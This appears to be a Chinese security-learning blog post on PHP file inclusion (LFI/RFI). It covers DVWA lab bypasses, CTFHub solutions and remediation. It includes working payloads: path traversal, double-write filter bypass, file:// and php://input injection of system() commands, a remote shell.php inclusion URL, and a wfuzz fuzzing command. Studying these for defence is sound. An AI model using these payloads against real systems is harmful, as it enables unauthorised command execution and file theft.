6-文件包含漏洞

1、什么是文件包含漏洞

一个代码文件,需要去包含其他的代码文件,而导致的漏洞
原因:内容包含、函数包含
分类:本地、远程

1.1 本地文件包含/目录遍历漏洞/任意文件访问漏洞(LFI)

固定文件名:<?php include 'footer.php';?>
接口动态包含:include.php可以通过参数file,包含指定的文件

用法:?file=访问敏感文件、连接webshell

1.2 远程文件包含漏洞RFI

与XXE和SSRF的区别

配置:
php.ini
allow_url_fopen=On
allow_url_include=On

用法:/include.php?file=http://xxx.xxx.xx.xx/shell.php

1.3 典型案例

CVE-2018-12613 Phpmyadmin后台 任意文件包含漏洞
CVE-2020-1938 Apache Tomcat 文件包含漏洞

2、PHP相关函数和伪协议

2.1 相关函数

读取文件、打开文件 或 访问文件

2.2 伪协议

是在Php里面,用来访问其他文件格式的一种协议

3、DVWA靶场案例演示

File Inclusion

3.1 安全级别low

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../phpinfo.php

也可以远程包含shell文件,但是需要coookie

3.2 安全级别medium

将"http://"、"https://"、"../"、"..\"替换为空

绕过:双写
fi/?page=hthttp://tp://xxx.xxx.xxx.xx/alert.html
fi/?page=..././1.txt

3.3 安全级别high

进行了一个匹配,文件名必须以file或include开头才允许访问

绕过:伪协议
fi/?page=file:///C:\Windows\system.ini

3.4 impossible

白名单,限定死能访问的文件

4、CTF题目案例(CTFHub)

4.1 文件包含

/?file=shell.txt
POST:ctfhub=system("find / -name flag");

4.2 php://input(伪协议)

输入/?file=php://input

BP抓包,右键发送至repeater
将请求改成POST,不然执行不了命令
由于php://input伪协议存在,所以在最后一行添加参数 <?php system('ls /');?>

4.3 远程包含

与上一关卡一致

5、文件包含漏洞挖掘与利用

5.1 URL关键字

URL参数名字出现page、file、filename、include等等关键字。
URL参数值出现了文件名,比如xxx.pgp xxx.html 等等。

比如:
?file=content
?page=wuya.asp
?home=wuya.html

5.2 函数or伪协议

5.3 工具

不具备扫描,但是可以利用:https://github.com/D35m0nd142/LFISuite

wfuzz结合已有的漏洞,进行目录扫描
Kali:wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://xxx.xxx.xx.xx/include.php?file=FUZZ

6、文件包含漏洞修复方案

1、php配置
2、禁用动态包含(把要包含的文件名写死)
3、过滤协议、目录字符
4、设置文件白名单

posted @ 2024-12-05 17:16  xmh666  阅读(4)  评论(0编辑  收藏  举报